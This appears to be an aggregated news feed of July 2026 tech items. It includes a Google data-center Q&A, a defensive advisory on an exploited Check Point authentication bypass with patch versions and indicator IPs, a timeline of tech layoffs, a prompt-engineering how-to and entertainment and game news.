Holland admitted that the preparation brings both excitement and “absolute dread.” He has already returned to the dance studio and plans to continue intensive training once his current promotional commitments end.



The role also gives Holland an opportunity to use his earlier dance training. Before becoming widely known as Spider-Man, he performed in the stage production of Billy Elliot the Musical in London.



Paul King will direct the Fred Astaire biopic



Paul King, known for directing the Paddington films and Wonka, remains attached to direct the untitled project. The film has been in development since Holland first announced his involvement in 2021.



Earlier reports indicated that the story would explore Astaire’s relationship with his sister and early dancing partner, Adele Astaire. However, official plot details and additional casting information have not been announced.



Production listings currently point to filming beginning in January 2027, although Sony has not confirmed an official release date.



Holland’s decision to avoid doubles will make the Fred Astaire biopic one of his most physically demanding projects. His commitment to long, uninterrupted dance scenes could also help the film capture the style that made Astaire one of Hollywood’s most celebrated performers.


Kaspersky’s Sustainability report 2024-2025: supporting vulnerable communities
Thu, 23 Jul 2026 15:06:57 +0200
Author: Kaspersky - Bewertung: 0x - Views:1 
In this video Kaspersky explores what it means to protect vulnerable and digitally vulnerable groups, and why these challenges differ online and offline. Learn about the barriers people face, the importance of digital confidence, and how we support communities that need it most. 



Find more details in the report: https://kas.pr/7jar 



#kaspersky #esg #sustainability #cybersecurity #inclusion



Master Chief und Cortana übernehmen die Navigation: Waze startet neues Halo-Crossover
Thu, 23 Jul 2026 15:06:30 +0200
Wer beim Autofahren gerne auf Google-Navigation vertraut, bekommt in Waze ab sofort wieder prominente Begleitung. Passend zur Ankündigung von Halo: Campaign Evolved erneuert Waze die Partnerschaft...Zum Beitrag: Master Chief und Cortana übernehmen die Navigation: Waze startet neues Halo-Crossover

Wo du uns folgen kannst:
Facebook, Reddit, Google News, X, Threads



    Auf dem Laufenden bleiben?
    

    Fügt uns doch bei Google als bevorzugte Quelle hinzu!



Q&A: Google’s AI and computing chief talks about its shapeshifting data centers
Thu, 23 Jul 2026 14:55:21 +0200

		
					  
						




Google’s AI offerings span its internal and cloud offerings. Its data centers are processing seven times more AI tokens compared to last year. To keep up, Google is upgrading its data-center hardware and software technologies at a faster clip. It plans to raise $80 billion to build new data centers. (See related story: Google transforms its data center architecture for agent era)



Network World spoke with Mark Lohmeyer, vice president and general manager of AI and computing at Google, about how the company’s infrastructure is keeping pace with AI demand.



Network World: What is the primary shift in infrastructure needs?



Mark Lohmeyer: We’ve seen the rise of agents and agentic use cases. Years ago, it was the chat phase: Ask a question, get an answer. Now we’re in the agentic era, where you express your intent, agents spin off multiple sub-agents, working in parallel, preserving state. This is a radical shift in what infrastructure needs to do; make them fast, cost effective, secure, reliable. We’re delivering infrastructure optimized for the age of agents.



NW: What’s the goal of the infrastructure buildout, and what should customers expect regarding costs?



ML: Ultimately, it’s about enabling customers with leading-edge capabilities and models at scale cost-effectively. With agents, inference transactions increase by 50x, 100x versus non-agentic workloads. We’re driving the cost per transaction down exponentially. In our latest platforms, we reduce the cost by almost 2x for the same work. Customers serve twice the number of users at the same cost, directly driving profitability.



NW: How are you addressing energy efficiency?



ML: Energy is a critical resource, and Google has optimized for years. We design data centers and compute [to drive] high PUE (power usage effectiveness). We introduced liquid cooling over five years ago, and these latest systems are all liquid cooled. For agentic workloads, CPUs come to the forefront… orchestrating agents, calling tools, doing evaluation loops in reinforcement learning. Our latest Axion-based CPU platform called N4A has energy efficiency and is significantly better than the prior generation and x86 comparables.



NW: How do you think about token efficiency as you build-out systems?



ML: Performance and efficiency gains are powered by co-design of the model and infrastructure. Gemini is trained on TPUs, primarily served on TPUs with high frontier model capability, in a token and cost-efficient way. This stems from co-design across the full stack.



NW: How do you project what infrastructure will be needed years in advance?



ML: Hardware cycles deliver a new next generation roughly every year, but design cycles are two years or more in advance. We work with DeepMind doing core research, to application teams taking models into production, to billions of users, to our team building infrastructure. We work upstream with DeepMind and application teams to understand what’s coming. Agents weren’t being broadly spoken of externally, but internally we had those insights around what they would need. That shows up in hardware design. We hit the timing right — these platforms are built for agents.



NW: What’s the eighth generation TPU platform?



ML: We deliver new platforms every year, and ones launched years ago are close to 100% utilized because demand for AI-optimized compute is high. The eighth-generation TPU platform is the first delivering two complete systems, from the chip all the way up to the network and storage and software, that are optimized.



TPU-8t is optimized for training, and TPU-8i is optimized for inference. For TPU-8i, we increased SRAM on the chip to 384MB — three times the prior generation — and increased the HBM by 50%.



NW: How are you approaching GPU and TPU compatibility?



ML: People in a single cluster do not commingle GPUs and TPUs. We offer both options based on specific workload needs. We’ve been investing on the TPU side in using software frameworks customers are comfortable with on GPUs and enabling those on TPUs. For example, PyTorch and vLLM. Customers could have a pool of GPUs and TPUs, running vLLM on top of that. Start with a workload on TPUs, but if the TPU pool is fully utilized, spill to GPUs or vice versa. This works because it’s all leveraging the same compatible software layer on top.



NW: How has the orchestration platform changed for agents?



ML: Kubernetes is becoming the orchestration platform of choice for AI. Google is transforming GKE [Google Kubernetes Engine] into an agent-native orchestration solution. When expressing intent to an agent and it spins up multiple sub-agents, compute needs to spin up rapidly — TPUs or GPUs — without long delays, then run and spin back down. We’re optimizing at every layer of the GKE stack: significantly improving node startup time and how rapidly we start and stop containers. Lovable demonstrates this with GKE, spinning up hundreds of sandboxes for live coding sessions on their platform in parallel, paying for infrastructure when needed.



NW: What is the role of the network and storage infrastructure?



ML: The network is critical for AI. This requires creating large-scale clusters of GPUs or TPUs and enabling them to talk to each other in a high-performance way. We created the Virgo network — a collapsed network architecture, non-blocking within a data center, where multiple pods or NVLink72 domains connect together.



In TPU8T, we can connect over a million TPUs together leveraging Virgo, creating large-scale, high-performance, reliable clusters that shrink innovation cycles. Storage is equally critical. In large-scale clusters, something is always failing. The ability to take snapshots and go back to a checkpoint is important.



We’ve introduced Managed Lustre 10T, with 10 terabytes per second of bandwidth, 18 petabytes of storage in single clusters. This is 10 times faster than last year and 20 times faster than competition. We have Rapid Bucket, low-latency storage backed by Google storage systems. Both are impactful in large-scale training environments.



NW: How does KV cache strategy differ between training and inference?



ML: For TPU-8i, we increased SRAM on the chip to 384 megabytes — three times the prior generation — and increased the HBM by 50%. Storing KV cache directly in chip memory allows responding to inference requests much more rapidly and cost-effectively than going to an external system. For inference workloads, storing as much KV cache as possible on-chip is critical.



We’re introducing a dedicated KV cache storage subsystem that works across GPUs and TPUs. As KV caches get larger, being able to fall back to this dedicated subsystem becomes critical. Loading model weights rapidly is important in dynamic inference environments where accelerators switch between models hour by hour.



CVE-2026-16232: Critical Check Point SmartConsole Authentication Bypass Exploited in the Wild
Thu, 23 Jul 2026 14:42:23 +0200
Overview
On July 22, 2026, Check Point published a security advisory for multiple vulnerabilities affecting Security Management, Multi-Domain Management, and firewall products. The most urgent of these is CVE-2026-16232, an authentication bypass in the SmartConsole login process classified as improper authentication (CWE-287). CVE-2026-16232 has been assigned a critical CVSS score of 9.1. The vulnerability allows an unauthenticated remote attacker to obtain an application login token and authenticate to the management server with full administrative privileges, enabling modification of security policies and configurations.
Check Point has confirmed that CVE-2026-16232 is being actively exploited in the wild, affecting what the vendor describes as a small number of customers. Remote exploitation requires network access to the Management Server IP address in environments that do not restrict Trusted Clients. On the same day as the advisory, CVE-2026-16232 was added to the U.S. Cybersecurity and Infrastructure Security Agency's (CISA) list of known exploited vulnerabilities (KEV), with a remediation due date of July 25, 2026, giving organizations only three days to respond.
The advisory addresses three vulnerabilities in total:
CVE CVSS Description Affected Products Exploitation Status
CVE-2026-16232 Vendor: 9.3 (Critical)
CISA: 9.1 (Critical) Authentication bypass via SmartConsole application token Security Management, Multi-Domain Management Exploited in the wild
CVE-2026-62144 Vendor: 9.3 (Critical)
CISA: 9.1 (Critical) Management authentication bypass and privilege escalation Security Management, Multi-Domain Management No known exploitation
CVE-2026-62145 7.5 (High) Local privilege escalation in GaiaOS WebUI Firewall, Multi-Domain Management, Multi-Domain Log Server No known exploitation
Compromise of a Security Management Server is particularly consequential because it sits at the top of the trust hierarchy. An attacker with administrative access can modify security policies across managed gateways, alter administrator permissions, manipulate VPN configurations, and potentially disable or tamper with logging and monitoring. According to Check Point's advisory, the vulnerabilities were discovered during a routine internal review, with subsequent analysis revealing that CVE-2026-16232 had been exploited prior to the availability of a patch.
Check Point network security products have been targeted by multiple in-the-wild vulnerabilities over the past two years. In June 2026, CVE-2026-50751, a critical authentication bypass in Check Point Remote Access VPN, was exploited in the wild and added to the CISA KEV. In May 2024, CVE-2024-24919, a high-severity information disclosure vulnerability in Check Point Quantum Security Gateways, was also exploited in the wild. Organizations running affected Check Point management products should apply the available hotfixes on an emergency basis.
Mitigation guidance
Check Point released Jumbo Hotfixes on July 22, 2026, to remediate CVE-2026-16232, CVE-2026-62144, and CVE-2026-62145. Organizations running affected versions of Security Management or Multi-Domain Management should install the latest Jumbo Hotfix on an emergency basis, without waiting for a regular patch cycle to occur.
The following versions are affected by CVE-2026-16232:
R82.10: fixed in Jumbo Hotfix Take 36 and later
R82: fixed in Jumbo Hotfix Take 118 and later
R81.20: fixed in Jumbo Hotfix Take 158 and later
R81.10, R81, R80.30, R80.20, R80.10, R80, and R77.30: no fix specified
CVE-2026-62144 and CVE-2026-62145 affect the same release families (R81.10, R81.20, R82, R82.10) per the vendor advisory, with older versions also impacted.
Smart-1 Cloud customers are already protected according to Check Point. For on-premises deployments where the hotfix cannot be applied immediately, Check Point recommends the following steps to reduce exposure:
Restrict Trusted Clients (GUI clients) to trusted IP addresses or subnets
Protect Management access with a firewall and restrict access to trusted IP addresses
Verify that implied rules for control connections are enabled
These mitigations reduce the attack surface, but they do not address the underlying vulnerability. Installing the Jumbo Hotfix remains the priority.
Rapid7 strongly recommends investigating for signs of compromise even after applying the hotfix, particularly in environments where the Management Server has been accessible from the internet. Organizations should review administrator, SmartConsole, API, and application token activity, and search logs for the published indicators of compromise listed below.
For the latest mitigation guidance, please refer to the vendor advisory.
Rapid7 customers
Exposure Command, InsightVM, and Nexpose
Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-16232, CVE-2026-62144, CVE-2026-62145 with authenticated vulnerability checks expected to be available in the 24 July content release.
Indicators of compromise
Check Point has published the following IP addresses associated with observed exploitation of CVE-2026-16232:
151.241.99[.]207
151.241.99[.]233
158.62.198[.]182
192.142.10[.]99
139.28.37[.]250
194.213.18[.]137
Per the vendor, the presence of these indicators should prompt investigation, but the absence of these addresses does not confirm that an environment was unaffected.
Updates
July 23, 2026: Initial publication.


Batteriemarke Varta steht kurz vor der Zerschlagung
Thu, 23 Jul 2026 14:41:59 +0200

    Varta steht vor einer ungewissen Zukunft: Wichtige Geldgeber wollen das Geschäft mit Haushaltsbatterien abspalten. 

Tags: #Batterie


Tech layoffs: A 2026 timeline
Thu, 23 Jul 2026 14:35:03 +0200

		
					  
						




Among a range of factors leading to a wave of tech sector layoffs in 2026 is the rapid rise of artificial intelligence and automation. Companies are reconfiguring their workforces to leverage AI for increased efficiency and reduced operating costs. This realignment and reduction is implemented even by companies reporting strong financial performance.



But it’s not just AI leading to workforce cuts. Complementing this technological shift are ongoing economic uncertainty, inflation, and higher interest rates, compounded by a chip shortage and rising energy costs. This mix is driving companies to cut costs and streamline operations for increased efficiency.



According to data compiled by Layoffs.fyi, an online tracker that keep tabs on job losses in the technology sector, 123,941 tech employees were laid off at 269 companies in 2025. The site also reports that 71,981 government employees were laid off by DOGE alone, with 182,528 total federal workers laid off.



Here is a list — to be updated regularly — of some of the most prominent technology layoffs the industry has experienced recently.



Notable tech layoffs in 2026




Monday.com



Microsoft



Meta



Cisco



Cloudflare



Oracle



Atlassian 



Salesforce



Amazon



Ericsson




July 22, 2026: Monday.com cuts 20% of its workforce to restructure for the AI era



The company says the decision to cut 620 jobs isn’t about margins, but about creating a flatter organization built around AI agents, autonomous teams, and deeper customer engagement.



July 6, 2026: Microsoft cuts 4,800 jobs, primarily in sales and Xbox teams



As the company trims thousands of jobs, it’s also investing in embedded engineering teams and AI infrastructure. The layoffs come several weeks after the company offered 8,750 US employees voluntary retirement buyouts.



June 5, 2026: Tech industry cut 38,242 jobs in May, worst since 2024



AI was blamed for 40% of the job cuts in May, up from 7% in January, according to research by employment placement company Challenger, Gray & Christmas.



May 20, 2026: Meta cuts 8,000 jobs, around 10% of workforce



The cuts are expected to expected to hit Meta’s engineering and product teams the hardest, arriving as Meta pivots toward AI to boost efficiency across its organization, according to Yahoo Tech.



May 13, 2026: Cisco to cut nearly 4,000 jobs despite strong growth in AI, enterprise networking



Despite reporting positive financial news — including record third-quarter revenue of $15.8 billion, a 12% year-over-year increase — Cisco said it will eliminate almost 4,000 jobs.



May 7, 2026: Cloudflare to cut 1,100 jobs in AI-focused restructuring



About 20% of Cloudflare’s global workforce will be culled as the company pivots for the agentic AI era, Reuters reported.



April 1, 2026: Oracle to cut up to 30,000 jobs globally, putting enterprise support and roadmaps at risk



Oracle began laying off employees on March 31 in what could be the largest workforce reduction in the company’s history. Employees received termination emails at 6 a.m. local time with immediate system lockouts and no prior warning. (Note: in June, CNBC put the final layoff tally at 21,000.)



March 12, 2026: Atlassian cuts 1,600 jobs to fund AI and enterprise expansion



Atlassian will reduce its global workforce by approximately 10%, eliminating around 1,600 roles, as the collaboration software maker redirects capital toward artificial intelligence development and enterprise sales.



March 11, 2026: Tech layoffs surpass 45,000 in early 2026



A recent analysis by RationalFX found 45,363 job cuts globally so far this year—with roughly 68% or more than 30,000 occurring in the U.S. — highlighting ongoing workforce cuts even as many tech companies report strong revenue growth.



February 10, 2026: Salesforce lays off staffers as executive leadership churn continues



Salesforce has reduced close to 1,000 roles earlier this month across teams, including marketing, product management, data analytics, and its Agentforce AI unit, Business Insider reported, quoting employees familiar with the matter.



January 23, 2026: Amazon layoffs expected to disproportionately hit AWS and tech talent



As the market slows down, AWS and other Amazon units are preparing for another round of layoffs, which is expected to overwhelmingly impact tech talent. An email from HR leader Beth Galetti on Jan. 28 confirmed 16,000 job cuts.



January 15, 2026: Ericsson plans to shed 1,600 jobs in Sweden



 Ericsson lans to cut some 1,600 jobs in Sweden, the telecommunications equipment maker said doubling down on recent cost-saving measures that have helped it weather a prolonged downturn in telecoms spending, Reuters reports.



January 13, 2026: Meta plans to cut around 10% of employees in Reality Labs business



Meta plans to cut around 10% of the employees in its Reality Labs division who work on products including the metaverse, according to three people with knowledge of the discussions, according to The New York Times.



Layoffs in 2025




Cisco



Oracle



Windsurf



Intel



Microsoft



Crowdstrike



HPE



Autodesk



HPE



CISA



Workday



Salesforce



Meta




Global tech-sector layoffs surpass 244,000 in 2025



Economic uncertainty, elevated interest rates, and AI adoption have driven workforce reductions across tech companies worldwide, according to a RationalFX report.



October 28, 2025: Amazon to cut 14,000 jobs across company



Amazon will reduce its overall workforce by 14,000, cutting layers of management across the company and hiring in some areas to support its “biggest bets”.



August 18, 2025: Cisco and Oracle to cut hundreds of Bay Area jobs



Tech companies Cisco and Oracle are cutting hundreds of jobs across the Bay Area. Cisco will eliminate 221 positions at its Milpitas and San Francisco offices, effective Oct. 13. Oracle is reducing 101 positions in Santa Clara on the same date 



August 5, 2025: 3 weeks after acquiring Windsurf, Cognition offers staff the exit door



Cognition, the AI coding startup that acquired rival company Windsurf three weeks ago, laid off 30 employees last week and is offering buyouts to the roughly 200 remaining employees on the team, reports The Information.



July 25, 2025, Intel to lay off 22% of workforce, CEO Tan signals ‘no more blank checks’



Intel will reduce its workforce to 75,000 employees by the end of 2025 as new CEO Lip-Bu Tan implements sweeping changes designed to transform the struggling chipmaker



July 8, 2025, Intel layoffs begin: Chipmaker is cutting many thousands of jobs



Intel has begun laying off employees across the company. CEO Lip-Bu Tan told workers back in April to expect major layoffs at Intel in the coming months as the chipmaker slashes costs and overhauls its organization after years of technical setbacks and falling sales. 



July 2, 2025: Microsoft will cut 9,000 workers



Microsoft will lay off about 9,000 employees, a source familiar with the workforce cut told CNBC.  The cuts will reportedly affect less than 4% of Microsoft’s global workforce and will impact different teams, geographies and levels of experience. This is the latest in a string of cuts the tech giant has made this year.



June 17, 2025: Intel looks to factory layoffs to return to profitability



Intel will lay off up to 20% of its manufacturing sector employees starting in July,  according to media reports, as the company looks for options as it seeks a return to profitability. The cuts reportedly will be made around the world, but some of the layoffs will be closer to home, according to a report in The Oregonian citing an internal company memo from Intel manufacturing Vice President Naga Chandrasekaran.



May 7, 2025: CrowdStrike to lay off 5% of staff



CrowdStrike announced a plan to cut about 500 roles, roughly 5% of its workforce, to streamline operations and reduce costs. The cybersecurity company will incur about $36 million to $53 million in charges related to the layoffs



March 6, 2025: HPE cuts 2,500 jobs, remains committed to Juniper buy



CEO Antonio Neri told Wall Street analysts that HPE would begin implementing a cost-cutting program involving layoffs of about 2,500 employees over the next 18 months. HPE employs about 61,000 people worldwide.



Feb. 27, 2025: Autodesk to lay off 9% of workforce



Software maker Autodesk is laying off 1,350 staff. With the rise of subscription and multi-year contracts billed annually, and self-service enablement, it finds it needs fewer sales staff, CEO Andrew Anagnost said in a message to employees. And with its cloud, platform, and AI products proving most profitable, it’s concentrating its staff and investments there. 



Feb. 27, 2025: HP to lay off 2,000 more



As part of an ongoing restructuring, HP plans to lay off up to another 2,000 workers. In recent weeks, the company has tried — unsuccessfully — to do away with telephone support staff by forcing callers to wait for at least 15 minutes if they refuse to use self-service support resources online. The company swiftly backtracked, but wider job cuts are still on. 



Feb. 21, 2025: CISA lays off 130



Government employees get laid off too: In this case, 130 workers at the US Cybersecurity and Infrastructure Security Agency are being shown the door as a result of a DOGE decision. Cybersecurity experts are concerned that the cuts will harm the international collaborations that CISA has fostered, quite apart from their concerns about the security of the DOGE layoff process itself.



Feb. 5, 2025: Workday lays off 1,750



As it moves to invest more in AI and international growth, Workday is laying off 8.5% of its workforce and disposing of unused office space. Some analysts fear the cutbacks will affect the company’s customer service — unless AI can pick up the slack.



Feb. 4, 2025: Salesforce lays off over 1,000



At the same time as it’s hiring sales staff for its new artificial intelligence products, Salesforce is laying off over 1,000 workers across the company, according to Bloomberg. As of June, 2024, the company had over 72,000 employees, according to its website. Salesforce did not comment on the report. In 2024 the company reportedly laid off around 1,000 staff too, in two waves: January and July.



Jan. 14, 2025: Meta will lay off 5% of workforce



Mark Zuckerberg told Meta employees he intended to “move out the low performers faster” in an internal memo reported by Bloomberg. The memo announced that the company will lay off 5% of its staff, or around 3,600 staff, beginning Feb. 10. The company had already reduced its headcount by 5% in 2024 through natural attrition, the memo said. Among those leaving the company will be staff previously responsible for fact checking of posts on its social media platforms in the US, as the company begins relying on its users to police content.



Tech layoffs in 2024




Equinix



AMD



Freshworks



Cisco



General Motors



Intel



OpenText



Microsoft



AWS



Dell




Nov. 26, 2024: Equinix to cut 3% of staff



Despite intense demand for its data center capacity, Equinix is planning to lay off 3% of its workforce, or around 400 employees. The announcement followed the appointment of Adaire Fox-Martin to replace Charles Meyers as CEO and the departures of two other senior executives, CIO Milind Wagle and CISO Michael Montoya.



Nov. 13, 2024: AMD to cut 4% of workforce



AMD will lay off around 1,000 employees as it pivots towards developing AI-focused chips, it said. The move came as a surprise to staff, as the company also reported strong quarterly earnings. 



Nov. 7, 2024: Freshworks lays off 660



Enterprise software vendor Freshworks laid off around 660 staff, or around 13% of its headcount, despite reporting increased revenue and profits in its fourth fiscal quarter. The company described the layoffs as a realignment of its global workforce.



Sept. 17, 2024: Cisco lays off 6,000



After laying off around 4,200 staff in February, Cisco is at it again, laying off another 6,000 or around 7% of its workforce. Among the divisions affected were its threat intelligence unit, Talos Security. 



Aug. 20, 2024: General Motors lays off 1,000 software staff



More than 1,000 software and services staff are on the way out at General Motors, signalling that it could be rethinking its digital transformation strategy. In an internal memo, the company said that it was moving resources to its highest-priority work and flattening hierarchies.



August 1, 2024: Intel removes 15,000 roles



Intel plans to cut its workforce by around 15% to reduce costs after a disastrous second quarter. Revenue for the three months to June 29 stagnated at around $12.8 billion, but net income fell 85% to $83 million, prompting CEO Pat Gelsinger to bring forward a company-wide meeting in order to announce that 15,000 staff would lose their jobs. “This is an incredibly hard day for Intel as we are making some of the most consequential changes in our company’s history,” Gelsinger wrote in an email to staff, continuing: “Our revenues have not grown as expected — and we’ve yet to fully benefit from powerful trends, like AI. Our costs are too high, our margins are too low. We need bolder actions to address both — particularly given our financial results and outlook for the second half of 2024, which is tougher than previously expected.”



July 4, 2024: OpenText to lay off 1,200



OpenText said it will lay off 1,200 staff, or about 1.7% of its workforce, in a bid to save around $100 million annually. It plans to hire new sales and engineering staff in other areas in 2025, it said.



June 4, 2024: Microsoft lays off staff in Azure division



Microsoft laid off staff in several teams supporting its cloud services, including Azure for Operations and Mission Engineering. The company didn’t say exactly how many staff were leaving.



April 4, 2024: Amazon downsizes AWS in a fresh cost-cutting round



Amazon announced hundreds of layoffs in the sales and marketing teams of its AWS cloud services division — and also in the technology development teams for its physical retail stores, as it stepped back from efforts to generalize the “Just Walk Out” technology built for its Amazon Fresh grocery stores. 



April 1, 2024: Dell acknowledges 13,000 job cuts



Dell Technologies’ latest 10K filing with the US Securities and Exchange Commission disclosed that the company had laid off 13,000 employees over the course of the 2023 fiscal year; it characterized the layoffs and other reorganizational moves as cost-cutting measures. “These actions resulted in a reduction in our overall headcount,” the company said. A comparison to the previous year’s 10K filing, performed by The Register, found that Dell employed 133,000 people at that point, compared to 120,000 as of February 2024. Dell announced layoffs of 6,650 staffers on Feb. 6, but it is unclear whether those cuts were reflected in the numbers from this year’s 10K statement.



See news of earlier layoffs.







Kaspersky’s Sustainability report 2024-2025: protecting data, building trust
Thu, 23 Jul 2026 14:05:55 +0200
Author: Kaspersky - Bewertung: 2x - Views:4 
Data security is a core part of how Kaspersky protects its products and users. In this video we talk about our approach to protecting data, the measures behind it and why continuous improvement matters. Watch to learn how we build trust through responsibility and resilience. 



Find more details in the report: https://kas.pr/7jar

 

#kaspersky #esg #sustainability #cybersecurity



Go-Go Town! Review (PC)
Thu, 23 Jul 2026 13:45:17 +0200
We’ve seen a lot of cozy games which allow us to create a town and explore the world the devs have created, but with Go-Go Town!, things are a bit different. We are the mayor of a town, and we need to take control of it. That means everything from planning neighborhoods, automating logistics, handling the infrastructure, while also completing all kinds of unique objectives. The game also features co-op, which helps take the madness to new heights, and it’s even more exciting all the same.

The game’s premises are interesting, and the fact that it features a colorful cartoony style makes it even more interesting. But unlike other mayors that just issue orders, you are also taking part in the work as well. So yes, you have to complete tasks, manufacture goods, acquire resources and clean trash. It’s certainly not a glamorous life, but it is something fun, and a very immersive experience you will enjoy.

However, as the town expands, you are shifting away from hands-on ...


Kaspersky’s Sustainability report 2024-2025: collaboration in action
Thu, 23 Jul 2026 13:08:01 +0200
Author: Kaspersky - Bewertung: 1x - Views:2 
Kaspersky’s responsibility starts with cooperation and respect. In this video we discuss our key stakeholders and how we work together to protect what matters most, strengthening digital safety for everyone. 



Find more details in the report: https://kas.pr/7jar 



#kaspersky #esg #sustainability #cybersecurity



Stop asking AI nicely: Here’s how to get work-ready results every time
Thu, 23 Jul 2026 13:07:21 +0200

		
					  
						




Over the past few years, I have learned that basic prompts produce inconsistent, hallucination-prone results that no executive would trust in production. What turned the tide was my move to advanced prompting techniques. These weren’t theoretical experiments; they became a practical foundation for reliable, measurable outcomes. I want to share the techniques that consistently delivered the biggest gains in my projects, complete with real before-and-after examples, copy-paste templates, lessons from failures and guidance on when to evolve beyond prompting to agentic systems.



Why advanced prompting still matters in enterprise settings



Sophisticated prompting remains essential for control, reliability and compliance. If you “ask nicely” and hope for the best, you need deterministic behavior, auditable reasoning and minimal risk of hallucination. Here’s what worked for me.



1. Chain-of-Thought (CoT) and its variants: Unlocking step-by-step reasoning



The problem: Models would jump to conclusions on complex analysis tasks, especially involving data interpretation or multi-step logic.



What I did: I started explicitly instructing the model to “think step by step” and show its reasoning.



Before (basic prompt): “Analyze last quarter’s sales data and recommend three actions.”



After (CoT prompt):



“You’re a senior business analyst. Analyze the following sales data step by step: [data]. First, identify the key trends. Second, calculate the rates and anomalies. Third, link findings to business context. Finally, recommend the three prioritized actions with expected impact. Explain your reasoning at each step.”  



Results: Accuracy and depth improved dramatically.



Variants that worked well: Self-consistency. I ran the same CoT prompt multiple times and took the majority consensus. This reduced variability significantly.



Template you can use:



You are [expert role]. Solve this problem by thinking step by step.

[Task or question]

For each step:

1. State your observation or calculation.

2. Explain the implication.

3. Proceed only when confident.

Final answer in this format: [structured output]



2. Tree-of-Thoughts (ToT): Exploring multiple reasoning paths



For truly complex decisions such as resource allocation or risk assessment, linear CoT isn’t enough. Tree-of-Thoughts lets the model generate and evaluate multiple branches.



Example: I was helping a client evaluate three potential vendor platforms for an AI deployment. A standard prompt gave a superficial comparison. With ToT



Prompt Snippet:



Explore three different reasoning paths for selecting the best vendor platform:

Path 1: Focus on cost and scalability.

Path 2: Focus on security, compliance and integration.

Path 3: Focus on innovation and long-term roadmap.

For each path, evaluate pros/cons against our requirements [list].

Then, compare the paths and recommend the strongest overall option with justification.



Outcome: The model surfaced nuanced trade-offs (e.g., one vendor had superior security, but higher integration cost).



When to use: Strategic planning, troubleshooting or scenarios with high uncertainty and multiple viable approaches.



3. ReAct (Reason+ Act) and prompt chaining: Moving toward agentic behavior



One of the biggest leaps I have noticed comes from combining reasoning with tool use and chaining prompts.



ReAct example: (used in data analytics workflow)



You are an AI analyst with access to tools. For the query below:

1. Reason about what information you need.

2. Choose the appropriate tool or action.

3. Observe the result.

4. Repeat until you can answer confidently.

Query: [user request]



In practice, I chained this with retrieval tools. One automated quarterly compliance reporting; the system reasoned about required data, pulled relevant records, validated them, and generated the reports.



4. Meta-prompting and self-reflection: Letting the model improve itself



Use the model to refine its own prompt. This is a huge time-saver.



You are an expert prompt engineer. Improve the following prompt for clarity, structure and effectiveness with [target model]. Make it more precise while preserving intent.

Original prompt: [paste]

Provide the improved version and explain your changes.



Self-reflection loops (asking the model to critique its own output and revise) are a game-changer for content generation and code-review tasks.



5. Multimodal and structured output techniques



With vision-enabled models, I started combining text with images (e.g., uploading architecture diagrams or dashboards).



Tip from experience: Be extremely specific in describing what the models should focus on.



Best practices I learned the hard way




Start simple, then layer complexity: Over-engineered prompts from Day One usually backfire.



Model specific tuning: Some models respond better to XML delimiters; others to explicit reasoning.



Evaluation and versioning: Treat prompts like code if you track versions and run automated evals.



Security guardrails: Always include instructions against prompt injections and respect data boundaries.



When to stop prompting: For repetitive, high-stakes workflows, move to full agents or an orchestration framework.




Final takeaways for technical leaders



Advanced prompt engineering has now become a core competency for anyone responsible for enterprise AI outcomes. Start by picking one technique and apply it rigorously to a real business problem. Document before/ after and you will notice why it’s worth mastering.



The field continues evolving towards more automated and agentic systems, but the ability to precisely direct AI reasoning remains foundational.



This article is published as part of the Foundry Expert Contributor Network.
Want to join?



Kaspersky’s Sustainability report 2024-2025: our sustainability principles
Thu, 23 Jul 2026 12:20:12 +0200
Author: Kaspersky - Bewertung: 0x - Views:1 
In this video, we explain what sustainability means for Kaspersky. Learn how respect for human rights, adherence to regulatory requirements and meaningful contribution to society and environment shape our guiding principles. From our commitment to transparency, resilient supply chains to measures that ensure our products can be trusted, we're actively working towards a safer future.



Find more details in the report: https://kas.pr/7jar



#kaspersky #esg #sustainability #cybersecurity



Smaller, smarter, safer: How to build agentic AI on the right foundation
Thu, 23 Jul 2026 12:04:43 +0200

		
					  
						




When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.



“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a suite of popular cloud-based software solutions for sales, marketing, and finance.



“I’m on the business side, and so decisions made by our CIO and IT folks affect me directly, and my teams’ workflows and processes,” he added.



Speaking to a room of tech leaders at the CIO 100 Leadership Live New York event last week, Thakrar explained that every company wants the speed of AI-generated work wedded to the quality of human work, even though these two are diametrically opposed. No amount of model upgrades or spend will close that gap, so the only way forward is to architect your way out. Thakrar encapsulated this idea in a simple formula:




Smaller: Stop deploying maximum firepower on every task. Many tasks don’t need it.



Smarter: The system around the model decides more than the model does.



Safer: Verify at the point a mistake gets locked in, not just downstream of it.




He noted that organizations that win with AI won’t be those deploying the biggest, most powerful models or the most sophisticated architecture, but the ones that figure out that the model is the easy part and the right architecture is harder. That means understanding the hardest element, and the biggest differentiator, is building a human system that learns and compounds alongside agentic systems.



To get it right, organizations need to prioritize the context layer. The size of frontier models like the GPT series, Claude, and Gemini mostly exist to compensate for missing context, Thakrar explained. Without enough context, models need to be able to reason harder and infer more about what a user actually means because it doesn’t know the user’s account, process, or history. A rich context layer makes it possible for enterprises to run workloads on much smaller, lower-power models.



“The intelligence moves from the model into the architecture around it,” he said.



A steep learning curve



One of Zoho’s earliest AI agents was a churn management agent to help the account management team detect churn in customer subscriptions. So when a subscription became inactive, the agent would collect context from notes, meeting recordings, and Zoho’s data enrichment tool, then create a summary of reasons the account might have churned, and schedule a call.



“What happened was I got this churn agent a couple months later, already embedded in our CRM, and within a week my team no longer trusted that agent,” Thakrar said. “The reason is we forgot to collect one very key point.”



In Zoho’s CRM, when a customer buys a bundle of products, that bundle is represented as a single line item. That means the status of any products the customer may have previously purchased individually changes to inactive as they’re moved to the bundle. That’s not churn, but it was interpreted it that way. Zoho fixed it in the second version of the agent.



Then a new problem arose. Many potential customers first purchase Zoho products as pilots or sandboxes. As those customers move from pilot to live instance, they close down the pilot versions. And again, the CRM would record that as subscriptions going inactive.



“The trust deteriorates again because everyone got excited for version 2,” Thakrar said.



Sometimes, a certain product might not be the best fit for a customer and Thakrar’s team will suggest the customer move to another product. That’s deliberate churn, not a churn risk.



“You may have a similar story like this where the agent sounds so good, it’s going to do something quick and add value, but it’s missing context from the account managers, and there are so many more pieces we’re still building out,” Thakrar said. “It’s been almost a year and the problem I have is my team still doesn’t trust it. They’ll see [a message from the agent] and go out and do all the research anyway to make sure it gave the correct answer.”



The team is more on top of potential churn, though, but the promised productivity gains have yet to materialize because the agent has to earn back lost trust due to a lack of context.



